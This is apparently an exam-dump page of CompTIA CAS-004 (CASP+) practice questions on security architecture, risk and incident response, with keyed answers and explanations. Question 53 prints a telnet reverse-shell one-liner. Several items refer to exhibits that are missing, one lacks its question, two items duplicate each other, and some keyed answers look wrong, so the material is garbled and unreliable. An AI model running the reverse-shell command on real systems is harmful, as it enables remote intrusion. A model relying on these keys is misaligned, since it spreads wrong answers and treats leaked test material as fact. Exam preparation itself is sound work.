Online Questions - Valid Practice To your CAS-004 Exam (Updated 445 Questions)
Practice To CAS-004 - Remarkable Practice On your CompTIA Advanced Security Practitioner (CASP+) Exam Exam
CompTIA CASP+ certification exam is an advanced-level certification designed for cybersecurity professionals who have extensive experience in the field. CompTIA Advanced Security Practitioner (CASP+) Exam certification is designed to validate the candidate's knowledge and skills in advanced-level cybersecurity concepts and practices and to demonstrate to employers that they have the expertise required to design, implement, and manage cybersecurity solutions at the enterprise level. CompTIA Advanced Security Practitioner (CASP+) Exam certification covers a range of topics that are relevant to the day-to-day work of cybersecurity professionals and is designed to be practical and relevant to real-world scenarios.
The CompTIA CAS-004 exam consists of 90 multiple-choice and performance-based questions, which must be completed within 165 minutes. CAS-004 exam is available in English, Japanese, and Portuguese, and is delivered through Pearson VUE testing centers worldwide. The passing score for the CASP+ exam is 750 on a scale of 100-900.
NEW QUESTION # 53
A penetration tester inputs the following command:
telnet 192.168.99.254 343 ! /bin/bash | telnet 192.168.99.254 344
This command will allow the penetration tester to establish a:
- A. proxy chain.
- B. network pivot.
- C. reverse shell.
- D. port mirror.
Answer: C
Explanation:
The command creates a connection to the remote host 192.168.99.254 on port 343, runs the command /bin/bash, and pipes the output to another connection to the same host on port 344.
This creates a reverse shell connection from the remote host to the attacker's machine, allowing the attacker to execute commands on the remote host from their own system.
NEW QUESTION # 54
A Chief information Security Officer (CISO) is developing corrective-action plans based on the following from a vulnerability scan of internal hosts:
Which of the following MOST appropriate corrective action to document for this finding?
- A. The application developer should use a static code analysis tool to ensure any application code is not vulnerable to buffer overflows.
- B. The security operations center should develop a custom IDS rule to prevent attacks buffer overflows against this server.
- C. The system administrator should evaluate dependencies and perform upgrade as necessary.
- D. The product owner should perform a business impact assessment regarding the ability to implement a WAF.
Answer: D
NEW QUESTION # 55
An attacker has been compromising banking institution targets across a regional area.
The Chief Information Security Officer (CISO) at a local bank wants to detect and prevent an attack before the bank becomes a victim.
Which of the following actions should the CISO take?
- A. Utilize cloud-based threat analytics to identify anomalous behavior in the company's B2B and vendor traffic
- B. Instruct a security engineer to configure the IDS to consume threat intelligence feeds from an information-sharing association in the banking sector
- C. Purchase a CASB solution to identify and control access to cloud-based applications and services and integrate them with on-premises legacy security monitoring
- D. Attend and present at the regional banking association lobbying group meetings each month and facilitate a discussion on the topic.
Answer: B
NEW QUESTION # 56
The security analyst discovers a new device on the company's dedicated loT subnet during the most recent vulnerability scan. The scan results show numerous open ports and insecure protocols in addition to default usernames and passwords. A camera needs to transmit video to the security server in the loT subnet. Which of the following should the security analyst recommend to securely operate the camera?
- A. Send camera logs to the SIEM.
- B. Place the camera on an isolated segment
- C. Encrypt the camera's video stream.
- D. Harden the camera configuration.
Answer: D
Explanation:
To securely operate the camera, the security analyst should recommend hardening the camera configuration.
This involves several steps:
* Changing Default Credentials: Default usernames and passwords are a common vulnerability. They should be replaced with strong, unique passwords.
* Disabling Unnecessary Services and Ports: The numerous open ports and insecure protocols should be reviewed, and any unnecessary services should be disabled to reduce the attack surface.
* Firmware Updates: Ensuring the camera's firmware is up to date will mitigate known vulnerabilities.
* Enable Encryption: If possible, enable encryption for both data in transit and at rest to protect the video stream and other communications from interception.
This approach addresses the identified vulnerabilities directly and ensures that the device is more secure.
Simply sending logs to the SIEM or isolating the camera might not fully mitigate the risks associated with default settings and open ports.
References:
* CompTIA CASP+ CAS-004 Exam Objectives: Section 2.4: Implement security activities across the technology life cycle.
* CompTIA CASP+ Study Guide, Chapter 5: Implementing Host Security.
NEW QUESTION # 57
A security analyst is reading the results of a successful exploit that was recently conducted by third-party penetration testers. The testers reverse engineered a privileged executable. In the report, the planning and execution of the exploit is detailed using logs and outputs from the test However, the attack vector of the exploit is missing, making it harder to recommend remediation's. Given the following output:
The penetration testers MOST likely took advantage of:
- A. An integer overflow vulnerability
- B. A TOC/TOU vulnerability
- C. A plain-text password disclosure
- D. A buffer overflow vulnerability
Answer: B
NEW QUESTION # 58
An attacker infiltrated the code base of a hardware manufacturer and inserted malware before the code was compiled. The malicious code is now running at the hardware level across a number of industries and sectors.
Which of the following categories BEST describes this type of vendor risk?
- A. Supply chain attack
- B. Side-load attack
- C. SDLC attack
- D. Remote code signing
Answer: A
NEW QUESTION # 59
A cybersecurity analyst created the following tables to help determine the maximum budget amount the business can justify spending on an improved email filtering system:
Which of the following meets the budget needs of the business?
- A. Filter XYZ
- B. Filter TUV
- C. Filter GHI
- D. Filter ABC
Answer: C
NEW QUESTION # 60
An application server was recently upgraded to prefer TLS 1.3, and now users are unable to connect their clients to the server. Attempts to reproduce the error are confirmed, and clients are reporting the following:
ERR_SSL_VERSION_OR_CIPHER_MISMATCH
Which of the following is MOST likely the root cause?
- A. The client application is configured to use RC4.
- B. The client application is testing PFS.
- C. The client application is configured to use ECDHE.
- D. The client application is configured to use AES-256 in GCM.
Answer: A
Explanation:
Reference: https://kinsta.com/knowledgebase/err_ssl_version_or_cipher_mismatch/ The client application being configured to use RC4 is the most likely root cause of why users are unable to connect their clients to the server that prefers TLS 1.3. RC4 is an outdated and insecure symmetric-key encryption algorithm that has been deprecated and removed from TLS 1.3, which is the latest version of the protocol that provides secure communication between clients and servers. If the client application is configured to use RC4, it will not be able to negotiate a secure connection with the server that prefers TLS 1.3, resulting in an error message such as ERR_SSL_VERSION_OR_CIPHER_MISMATCH. The client application testing PFS (perfect forward secrecy) is not a likely root cause of why users are unable to connect their clients to the server that prefers TLS 1.3, as PFS is a property that ensures that session keys derived from a set of long-term keys cannot be compromised if one of them is compromised in the future. PFS is supported and recommended by TLS 1.3, which uses ephemeral Diffie-Hellman or elliptic curve Diffie-Hellman key exchange methods to achieve PFS. The client application being configured to use ECDHE (elliptic curve Diffie-Hellman ephemeral) is not a likely root cause of why users are unable to connect their clients to the server that prefers TLS 1.3, as ECDHE is a key exchange method that provides PFS and high performance by using elliptic curve cryptography to generate ephemeral keys for each session. ECDHE is supported and recommended by TLS 1.3, which uses ECDHE as the default key exchange method. The client application being configured to use AES-256 in GCM (Galois/Counter Mode) is not a likely root cause of why users are unable to connect their clients to the server that prefers TLS 1.3, as AES-256 in GCM is an encryption mode that provides confidentiality and integrity by using AES with a 256-bit key and GCM as an authenticated encryption mode. AES-256 in GCM is supported and recommended by TLS 1.3, which uses AES-256 in GCM as one of the default encryption modes. Verified References:
https://www.comptia.org/blog/what-is-tls-13https://partners.comptia.org/docs/default-source/resources/casp-cont
NEW QUESTION # 61
An organization is prioritizing efforts to remediate or mitigate risks identified during the latest assessment. For one of the risks, a full remediation was not possible, but the organization was able to successfully apply mitigations to reduce the likelihood of impact.
Which of the following should the organization perform NEXT?
- A. Assess the residual risk.
- B. Recalculate the magnitude of impact.
- C. Update the organization's threat model.
- D. Move to the next risk in the register.
Answer: A
Explanation:
Assessing residual risk involves specifying a treatment percentage to define how much of the treatment reduces the inherent risk.
NEW QUESTION # 62
Due to budget constraints, an organization created a policy that only permits vulnerabilities rated high and critical according to CVSS to be fixed or mitigated. A security analyst notices that many vulnerabilities that were previously scored as medium are now breaching higher thresholds. Upon further investigation, the analyst notices certain ratings are not aligned with the approved system categorization.
Which of the following can the analyst do to get a better picture of the risk while adhering to the organization's policy?
- A. Align the exploitability metrics to the predetermined system categorization.
- B. Align the attack vectors to the predetermined system categorization.
- C. Align the impact subscore requirements to the predetermined system categorization.
- D. Align the remediation levels to the predetermined system categorization.
Answer: C
NEW QUESTION # 63
A junior developer is informed about the impact of new malware on an Advanced RISC Machine (ARM) CPU, and the code must be fixed accordingly. Based on the debug, the malware is able to insert itself in another process memory location.
Which of the following technologies can the developer enable on the ARM architecture to prevent this type of malware?
- A. Total memory encryption
- B. Virtual memory encryption
- C. No-execute
- D. Execute never
Answer: D
Explanation:
Explanation
Execute never is a technology that can be enabled on the ARM architecture to prevent malware from inserting itself in another process memory location and executing code. Execute never is a feature that allows each memory region to be tagged as not containing executable code by setting the execute never (XN) bit in the translation table entry. If the XN bit is set to 1, then any attempt to execute an instruction in that region results in a permission fault. If the XN bit is cleared to 0, then code can execute from that memory region. Execute never also prevents speculative instruction fetches from memory regions that are marked as non-executable, which can avoid undesirable side-effects or vulnerabilities. By enabling execute never, the developer can protect the process memory from being hijacked by malware. Verified References:
https://developer.arm.com/documentation/ddi0360/f/memory-management-unit/memory-access-control/ex
https://developer.arm.com/documentation/den0013/d/The-Memory-Management-Unit/Memory-attributes/
https://developer.arm.com/documentation/ddi0406/c/System-Level-Architecture/Virtual-Memory-System-
NEW QUESTION # 64
An organization is moving its intellectual property data from on premises to a CSP and wants to secure the data from theft. Which of the following can be used to mitigate this risk?
- A. A complete backup that is created before moving the data
- B. A third-party data integrity monitoring solution
- C. An additional layer of encryption
- D. Additional application firewall rules specific to the migration
Answer: C
Explanation:
The company should use an additional layer of encryption to secure the data from theft when moving to a CSP. Encryption is a process of transforming data into an unreadable format using a secret key. Encryption can protect the data from unauthorized access or modification during transit and at rest. Encryption can be applied at different levels, such as disk, file, or application. An additional layer of encryption can provide an extra security measure on top of the encryption provided by the CSP. Verified Reference:
https://learn.microsoft.com/en-us/partner-center/transition-seat-based-services
https://cloud.google.com/architecture/patterns-for-connecting-other-csps-with-gcp
NEW QUESTION # 65
A junior developer is informed about the impact of new malware on an Advanced RISC Machine (ARM) CPU, and the code must be fixed accordingly. Based on the debug, the malware is able to insert itself in another process 'memory location. Which of the following technologies can the developer enable on the ARM architecture to prevent this type of malware?
- A. Noexecute
- B. Total memory encryption
- C. Execute never
- D. Virtual memory protection
Answer: C
Explanation:
Explanation
Execute never is a technology that can be enabled on the ARM architecture to prevent malware from inserting itself in another process' memory location. Execute never (also known as XN or NX) is a feature that marks certain memory regions as non-executable, meaning that they cannot be used to run code. This prevents malware from exploiting buffer overflows or other memory corruption vulnerabilities to inject malicious code into another process' memory space.
References: [CompTIA CASP+ Study Guide, Second Edition, page 295]
NEW QUESTION # 66
An organization is considering a BYOD standard to support remote working. The first iteration of the solution will utilize only approved collaboration applications and the ability to move corporate data between those applications. The security team has concerns about the following:
Unstructured data being exfiltrated after an employee leaves the organization Data being exfiltrated as a result of compromised credentials Sensitive information in emails being exfiltrated Which of the following solutions should the security team implement to mitigate the risk of data loss?
- A. Conditional access, DoH, and full disk encryption
- B. Certificates, DLP, and geofencing
- C. Mobile device management, remote wipe, and data loss detection
- D. Mobile application management, MFA, and DRM
Answer: D
Explanation:
Mobile application management (MAM) is a solution that allows the organization to control and secure the approved collaboration applications and the data within them onpersonal devices. MAM can prevent unstructured data from being exfiltrated by restricting the ability to move, copy, or share data between applications. Multi-factor authentication (MFA) is a solution that requires the user to provide more than one piece of evidence to prove their identity when accessing corporate data. MFA can prevent data from being exfiltrated as a result of compromised credentials by adding an extra layer of security. Digital rights management (DRM) is a solution that protects the intellectual property rights of digital content by enforcing policies and permissions on how the content can be used, accessed, or distributed. DRM can prevent sensitive information in emails from being exfiltrated by encrypting the content and limiting the actions that can be performed on it, such as forwarding, printing, or copying. Verified References:
* https://www.manageengine.com/data-security/what-is/byod.html
* https://www.cimcor.com/blog/7-scariest-byod-security-risks-how-to-mitigate
NEW QUESTION # 67
A company's claims processed department has a mobile workforce that receives a large number of email submissions from personal email addresses. An employees recently received an email that approved to be claim form, but it installed malicious software on the employee's laptop when was opened.
- A. Implement cloud-based content filtering with sandboxing capabilities.
- B. Required all laptops to connect to the VPN before accessing email.
- C. Install a mail gateway to scan incoming messages and strip attachments before they reach the mailbox.
- D. Impalement application whitelisting and add only the email client to the whitelist for laptop in the claims processing department.
Answer: A
Explanation:
Implementing cloud-based content filtering with sandboxing capabilities is the best solution for preventing malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form. Cloud-based content filtering is a technique that uses a cloud service to filter or block web traffic based on predefined rules or policies, preventing unauthorized or malicious access to web resources or services. Cloud-based content filtering can prevent malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form, as it can scan or analyze email attachments before they reach the mailbox and block or quarantine them if they are malicious. Sandboxing is a technique that uses an isolated or virtualized environment to execute or test suspicious or untrusted code or applications, preventing them from affecting the host system or network. Sandboxing can prevent malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form, as it can run or detonate email attachments in a safe environment and observe their behavior or impact before allowing them to reach the mailbox. Implementing application whitelisting and adding only the email client to the whitelist for laptops in the claims processing department is not a good solution for preventing malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form, as it could affect the usability or functionality of other applications on the laptops that may be needed for work purposes, as well as not prevent malicious software from running within the email client. Requiring all laptops to connect to the VPN (virtual private network) before accessing email is not a good solution for preventing malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form, as it could introduce latency or performance issues for accessing email, as well as not prevent malicious software from reaching or executing on the laptops. Installing a mail gateway to scan incoming messages and strip attachments before they reach the mailbox is not a good solution for preventing malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form, as it could affect the normal operations or functionality of email communication, as well as not prevent legitimate attachments from reaching the mailbox. Verified Reference: https://www.comptia.org/blog/what-is-cloud-based-content-filtering https://partners.comptia.org/docs/default-source/resources/casp-content-guide
NEW QUESTION # 68
A company wants to improve the security of its web applications that are running on in-house servers A risk assessment has been performed and the following capabilities are desired:
* Terminate SSL connections at a central location
* Manage both authentication and authorization for incoming and outgoing web service calls
* Advertise the web service API
* Implement DLP and anti-malware features
Which of the following technologies will be the BEST option?
- A. API gateway
- B. ESB gateway
- C. XML gateway
- D. WAF
Answer: A
Explanation:
Explanation
An API gateway is a device or software that acts as an intermediary between clients and servers that provide web services through application programming interfaces (APIs). An API gateway can provide various functions such as:
Terminating SSL connections at a central location, reducing the overhead on the backend servers and simplifying certificate management Managing both authentication and authorization for incoming and outgoing web service calls, enforcing security policies and access control Advertising the web service API, providing documentation and discovery features for developers and consumers Implementing DLP and anti-malware features, preventing data leakage and malicious code injection A web application firewall (WAF) is a device or software that filters and blocks malicious web traffic from reaching an application. A WAF can provide some protection for web services, but it does not provide all the functions of an API gateway. An XML gateway is a device or software that validates, transforms, and routes XML messages between clients and servers that provide web services. An XML gateway can provide some functions of an API gateway, but it is limited to XML-based web services and does not support other formats such as JSON. An enterprise service bus (ESB) gateway is a device or software that integrates and orchestrates multiple web services into a single service or application. An ESB gateway can provide some functions of an API gateway, but it is more focused on business logic and workflow rather than security and performance. References: [CompTIA Advanced Security Practitioner (CASP+) Certification Exam Objectives], Domain 2: Enterprise Security Architecture, Objective 2.3:
Implement solutions for the secure use of cloud services
NEW QUESTION # 69
An attacker infiltrated an electricity-generation site and disabled the safety instrumented system. Ransomware was also deployed on the engineering workstation. The environment has back-to-back firewalls separating the corporate and OT systems. Which of the following is the MOST likely security consequence of this attack?
- A. A turbine would overheat and cause physical harm.
- B. The engineers would need to go to the historian.
- C. Data would be exfiltrated through the data diodes.
- D. The SCADA equipment could not be maintained.
Answer: A
NEW QUESTION # 70
An organization's hunt team thinks a persistent threats exists and already has a foothold in the enterprise network.
Which of the following techniques would be BEST for the hunt team to use to entice the adversary to uncover malicious activity?
- A. Implement decoy files on adjacent hosts.
- B. Deploy a SOAR tool.
- C. Apply new isolation and segmentation schemes.
- D. Modify user password history and length requirements.
Answer: A
Explanation:
Explanation
Implementing decoy files on adjacent hosts is a technique that can entice the adversary to uncover malicious activity, as it can lure them into accessing fake or irrelevant data that can trigger an alert or reveal their presence. Decoy files are also known as honeyfiles or honeypots, and they are part of deception technology.
Deploying a SOAR (Security Orchestration Automation and Response) tool may not entice the adversary to uncover malicious activity, as SOAR is mainly focused on automating and streamlining security operations, not deceiving attackers. Modifying user password history and length requirements may not entice the adversary to uncover malicious activity, as it could affect legitimate users and not reveal the attacker's actions.
Applying new isolation and segmentation schemes may not entice the adversary to uncover malicious activity, as it could limit their access and movement, but not expose their presence. Verified References:
https://www.comptia.org/blog/what-is-deception-technology
https://partners.comptia.org/docs/default-source/resources/casp-content-guide
NEW QUESTION # 71
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CompTIA CAS-004 certification exam covers a range of cybersecurity topics, including enterprise security architecture, risk management, incident response, research and analysis, and integration of computing, communications, and business disciplines. CompTIA Advanced Security Practitioner (CASP+) Exam certification exam also covers emerging technologies such as cloud computing, mobile devices, and virtualization.
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